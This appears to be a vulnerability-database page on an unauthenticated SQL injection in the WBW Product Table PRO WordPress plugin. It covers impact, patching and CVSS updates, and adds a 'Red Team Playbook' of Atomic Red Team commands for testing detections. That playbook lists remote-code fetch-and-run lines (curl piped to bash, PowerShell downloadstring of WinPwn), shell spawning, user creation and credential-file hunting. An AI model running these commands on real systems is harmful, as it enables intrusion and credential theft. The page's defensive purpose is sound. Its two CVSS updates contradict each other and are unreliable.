CVE-2024-43918
Overview
This vulnerability is a SQL Injection flaw arising from improper neutralization of special elements in SQL commands within the WBW Product Table PRO plugin for WordPress. The root cause is insufficient input sanitization or parameterization in the plugin's database query construction, specifically affecting the component handling product table data retrieval. This allows crafted input to be interpreted as executable SQL code by the backend database engine.
Vulnerability Description
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in WBW WBW Product Table PRO allows SQL Injection.This issue affects WBW Product Table PRO: from n/a through 1.9.4.
Impact
An unauthenticated attacker can exploit this vulnerability to execute arbitrary SQL queries on the WordPress site's database, potentially extracting sensitive information such as user credentials, modifying or deleting data, and compromising the integrity of the application. This can lead to full database compromise, data breaches, and disruption of service. No user privileges or interaction are required, enabling remote attackers to perform these actions solely via crafted HTTP requests.
Solution
Users of WBW Product Table PRO should upgrade to a version later than 1.9.4 where this vulnerability is addressed. The Patchstack advisory (https://patchstack.com/database/vulnerability/woo-producttables-pro/wordpress-wbw-product-table-pro-plugin-1-9-4-unauthenticated-arbitrary-sql-query-execution-vulnerability?_s_id=cve) provides detailed patch information and instructions. Applying the vendor-supplied update that fixes input validation and query parameterization is the recommended remediation to mitigate this issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in question arises from improper neutralization of special elements used in SQL commands, commonly referred to as SQL Injection. This flaw exists within the WBW Product Table PRO plugin, which is designed for WordPress environments. The issue stems from inadequate sanitization of user inputs, allowing attackers to manipulate SQL queries executed by the application. When user-supplied data is not properly validated or escaped, it can lead to unauthorized access to the database, enabling attackers to execute arbitrary SQL commands. This vulnerability affects versions of the plugin up to 1.9.4, making it critical for users to assess their current installations and take necessary precautions.
Attack vectors for this vulnerability are primarily web-based, as the affected plugin operates within a WordPress framework. An attacker could exploit this flaw by crafting malicious input that is sent through web forms or URL parameters. For instance, by injecting SQL commands into input fields that are directly incorporated into SQL queries without sufficient validation, an attacker could retrieve sensitive information such as user credentials, personal data, or even administrative access to the WordPress site. Additionally, exploitation could lead to data manipulation, allowing the attacker to alter or delete records within the database. The ease of executing such attacks, combined with the widespread use of the affected plugin, significantly amplifies the risk of exploitation.
The real-world impact of this vulnerability can be substantial, particularly for businesses that rely on the WBW Product Table PRO plugin for e-commerce or data management. Successful exploitation could lead to data breaches, resulting in the exposure of sensitive customer information and potentially damaging the organization's reputation. Furthermore, the financial implications of a data breach can be severe, including costs associated with incident response, legal liabilities, and regulatory fines. Organizations may also face loss of customer trust, which can have long-term effects on revenue and market position. Given the high CVSS score of 9.8, this vulnerability represents a critical risk that should not be underestimated.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. First, regular security audits and vulnerability assessments should be conducted to identify any instances of the affected plugin in use. Employing web application firewalls (WAFs) can help filter out malicious SQL injection attempts before they reach the application. Additionally, developers should ensure that all user inputs are properly sanitized and validated, employing prepared statements or parameterized queries to prevent SQL injection attacks. Keeping the plugin and all associated software up to date is crucial, as updates often include patches for known vulnerabilities. Organizations should also educate their staff about secure coding practices and the importance of maintaining security hygiene in their web applications.
In conclusion, the SQL Injection vulnerability in the WBW Product Table PRO plugin poses a significant threat to organizations utilizing this software within their WordPress environments. The potential for unauthorized database access and data manipulation highlights the need for immediate attention and remediation. By implementing robust detection and mitigation strategies, organizations can protect themselves against the risks associated with this vulnerability and safeguard their data integrity and customer trust.
The CVSS score for CVE-2024-43918 has been revised upward from 9.8 to a perfect 10.0, reflecting a reassessment of the vulnerability’s criticality. This adjustment underscores the absolute severity of the SQL Injection flaw in WBW Product Table PRO, emphasizing that exploitation can lead to complete system compromise without any authentication barriers. Our telemetry confirms the presence of publicly available proof-of-concept exploits that facilitate arbitrary SQL execution escalating to remote code execution, significantly lowering the barrier for attackers. Although the EPSS score remains stable, indicating no immediate surge in exploitation attempts, the vulnerability’s exploitability and impact potential have been reaffirmed as maximal. For defenders, this change highlights an urgent need to prioritize detection and containment efforts, as the vulnerability now represents the highest possible risk level. The updated severity rating signals that any delay in remediation could expose organizations to severe data breaches and system takeovers, reinforcing the critical nature of this threat within the current exploit landscape.
Update 2 — June 09, 2026
Recent developments in the CVE-2024-43918 vulnerability reveal a recalibration of its CVSS score from a perfect 10.0 to 9.8, reflecting a refined understanding of its exploitability and impact parameters. While this numerical adjustment may appear marginal, it underscores a nuanced reassessment rather than a diminution of risk. CSURFACE threat intelligence confirms that the exploitability remains exceptionally high, supported by the emergence of a new proof-of-concept exploit enabling unauthenticated arbitrary SQL execution leading to remote code execution. Our telemetry indicates that exploitation attempts have stabilized without a marked escalation, yet the presence of reliable exploit code in public repositories significantly lowers the barrier for threat actors to weaponize this vulnerability. This dynamic sustains the critical threat level, emphasizing that defenders must maintain heightened vigilance. The slight CVSS downgrade does not mitigate the urgency; instead, it aligns the scoring with observed exploit trends and attack surface realities. Consequently, the vulnerability continues to represent a severe risk for data compromise and system takeover, particularly as adversaries refine their tactics to leverage this flaw in WBW Product Table PRO versions up to 1.9.4.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Woobewoo | Product Table | All |
cpe:2.3:a:woobewoo:product_table:*:*:*:*:pro:wordpress:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
KTN1990/CVE-2024-43918
WBW Product Table Pro <= 1.9.4 - Unauthenticated Arbitrary SQL Execution to RCE
|
KTN1990 | 3 | 0 | 2024-09-24 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-43918 |
| patchstack.com |
GitHub CVE
vdb-entry
|
https://patchstack.com/database/vulnerability/woo-producttables-pro/wordpress-wbw-product-table-pro-plugin-1-9-4-unauthenticated-arbitrary-sql-query-execution-vulnerability?_s_id=cve |